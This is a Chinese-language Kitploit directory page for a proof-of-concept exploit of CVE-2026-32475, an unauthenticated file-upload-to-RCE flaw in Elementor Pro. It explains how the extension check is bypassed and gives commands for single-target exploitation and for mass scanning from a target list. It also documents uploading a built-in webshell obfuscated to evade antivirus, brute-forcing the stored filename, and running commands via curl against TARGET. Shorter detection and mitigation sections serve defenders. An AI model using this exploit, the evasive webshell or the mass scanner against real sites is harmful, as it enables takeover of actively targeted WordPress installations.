Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-32475 — CVE-2026-32475 的概念验证漏洞利用程序,该漏洞是 Elementor Pro 中一个未经认证的任意文件上传漏洞,可导致远程代码执行。包含批量扫描、暴力破解文件名确认,以及内置的混淆 Web Shell,用于授权测试。 | Kitploit
工具/GitHubGitHub/4minx/cve-2026-32475
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试Payload 开发
GitHub4minx/cve-2026-32475

CVE-2026-32475

CVE-2026-32475 的概念验证漏洞利用程序,该漏洞是 Elementor Pro 中一个未经认证的任意文件上传漏洞,可导致远程代码执行。包含批量扫描、暴力破解文件名确认,以及内置的混淆 Web Shell,用于授权测试。

查看仓库
6小时5分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-32475 PoC:Elementor Pro 未认证任意文件上传导致 RCE

Elementor Pro 预认证任意文件上传导致远程代码执行

CVE-2026-32475 的概念验证,这是 Elementor Pro Forms 模块中的一个严重未认证任意文件上传漏洞,最终可导致远程代码执行。该 PoC 为同一上传字段提交两个文件部分——一个空的首条目(空白文件名,触发 UPLOAD_ERR_NO_FILE),随后是载荷。validation() 循环通过 return 在空条目上提前退出,而 process_field() 通过 continue 跳过它,因此载荷永远不会经过扩展名检查,并以 .php 扩展名落入公共目录。用于测试修复后行为的 PoC(即修补后发送相同请求)必须被扩展名检查拦截。

注意: 此 PoC 仅用于授权的安全测试和研究。CVE-2026-32475 正在被积极利用,自 8 月 19 日披露以来,Wordfence 已拦截 190,000+ 次尝试。您有责任遵守所有适用法律,并在测试任何系统前获得书面授权。


漏洞信息

  • CVE:CVE-2026-32475
  • 类型:CWE-434 危险类型文件的不受限制上传
  • CVSS 3.1:9.0(严重,AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • 认证:未认证(预认证、远程、低攻击复杂度)
  • 活跃利用:是(当日武器化;8 月 19–23 日拦截 190,000+ 次尝试)
  • 受影响软件:Elementor Pro(商业 WordPress 插件),版本 <= 4.2.1
  • 修复版本:4.2.2(2026 年 8 月 19 日发布)
  • 报告者:Tin Pham(TF1T)通过 Patchstack;Austin Ginder 通过 Wordfence($15,600 赏金)
  • 披露日期:2026 年 8 月 19 日

环境要求

  • Python 3.8+ 并安装 requests 库
  • 目标:安装了 Elementor Pro <= 4.2.1 的 WordPress 站点,且包含一个带有文件上传字段的已发布表单

安装依赖:

root@kitploit:~
pip install requests

使用方法

单个目标

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

确认执行(暴力破解 uniqid() 文件名)

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

上传内置混淆 WebShell

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell 上传一个最小化的混淆 PHP webshell(关键字在运行时通过 chr()/implode/strrev 构建,命令参数为 vapcom),因此简单的静态签名和 磁盘上的 AV 实时扫描不会标记它。存储的文件名仍然是随机的 (<uniqid()>.php);与 --brute 结合使用,它会探测 ?vapcom=echo <marker> 并报告 exec confirmed: <name>.php。定位后手动使用:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

批量扫描

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

自定义载荷

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

选项


示例输出

root@kitploit:~
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
    response    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] done: 1/1 vulnerable

AJAX 响应中的 success:true 表示载荷已被接受,未经过扩展名检查。使用 --brute 的第 4 步(猜测的 .php 文件包含标记时返回 200)确认了服务器端 PHP 执行——即完全 RCE。

结果状态:vulnerable | patched | unknown | error

  • vulnerable — Web 服务器返回 "success":true;载荷跳过了扩展名检查
  • patched — 上传被文件类型错误拒绝(扩展名检查已执行)
  • unknown — HTTP 成功但响应不是 success:true(ID 错误或意外状态)
  • error — 请求/解析失败(超时、非 200、未找到表单)

载荷行为与 WebShell 说明

  • 存储的文件名始终为 <uniqid()>.<攻击者扩展名> — 提交的基名会被丢弃,因此双扩展名/空字节技巧无关紧要;只有扩展名检查起作用,而它正是被绕过的环节。
  • Elementor 在 wp-content/uploads/elementor/forms/ 中附带了一个 .htaccess,对所有文件设置 Content-Disposition: attachment。这不会阻止执行 — PHP 仍在服务器端运行,下载的响应就是执行后的输出。要在实验室中让 shell 在浏览器中渲染,请禁用该 .htaccess;在真实环境中仅将其视为装饰性措施,并依赖服务器级别的 PHP 阻止策略。
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec),因此名称由时间推导(Unix 秒,低 32 位 + 微秒)。暴力破解步骤以提交响应 Date 头中观察到的秒数为基准,对于 .php 文件,请求 ?vapcom=echo <marker>(或对令牌/--payload 文件使用 ?c=),因此包含标记的响应是实际的服务器端 PHP 执行,而不仅仅是文件读取。最坏情况约为每秒 100 万次微秒猜测,因此请收紧 --seconds-window 以保持运行时间较短。

检测/验证入侵

root@kitploit:~
# 不应存在于上传目录中的 PHP 文件
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • 将 forms 目录下的任何 .php/.phtml/.phar/.hta 文件视为入侵证据。
  • 在访问日志中搜索 /wp-content/uploads/elementor/forms/ 下的 GET 以及携带 elementor_pro_forms_send_form 的 POST。
  • 如果 shell 已执行,请查找恶意管理员、mu-plugins、被修改的核心/主题文件以及意外的 WP-Cron 事件;优先从已知良好的备份恢复,而非就地清理。

缓解措施

  • 升级到 Elementor Pro 4.2.2 或更高版本。Elementor Pro 更新由 Elementor 自己的服务提供——许可证过期将无法获得更新。
  • 如果无法立即修补,请在 Web 服务器层阻止 uploads 目录中的 PHP 执行(nginx location 规则或 Apache <FilesMatch>)。这是持久性修复,可将此漏洞及未来的上传漏洞降级为"磁盘浪费"。
  • 枚举已发布的表单;限制接受的文件类型;移除未使用的上传字段。
  • 升级后:扫描 uploads 目录、审查管理员账户,并审计 elementor_pro_forms_send_form 操作的日志。

参考

  • Patchstack — Elementor Pro 中的严重未认证文件上传导致 RCE
  • Wordfence — 攻击者正在积极利用 Elementor Pro 中的严重漏洞
  • MagicWP — CVE-2026-32475:Elementor Pro 任意文件上传
  • NVD — CVE-2026-32475
  • dev.to — 通过数组验证绕过积极利用 PHP Web Shell
  • deniz.in — Elementor Pro RCE:未验证文件上传已在 4.2.2 版本中修复
下载工具
参数描述默认值
-t, --target单个目标 URL-
-T, --targets包含目标 URL 的文件,每行一个-
-o, --output结果文件(CSV:target, status, form_id, post_id, field, note)-
--timeout请求超时时间(秒)15
--post-id覆盖检测到的 post_id自动
--form-id覆盖检测到的 form_id(Elementor 组件 ID)自动
--field覆盖检测到的上传字段 custom_id自动
--payload自定义载荷文件路径(默认:良性 PHP 令牌文件)良性令牌
--shell上传内置混淆 PHP webshell(<?php ... system($_GET) ?> 在运行时构建,参数 vapcom)而非令牌关闭
--brute成功上传后,暴力破解 uniqid() 文件名以确认代码执行关闭
--seconds-window服务器 Date 头前后暴力破解的秒数5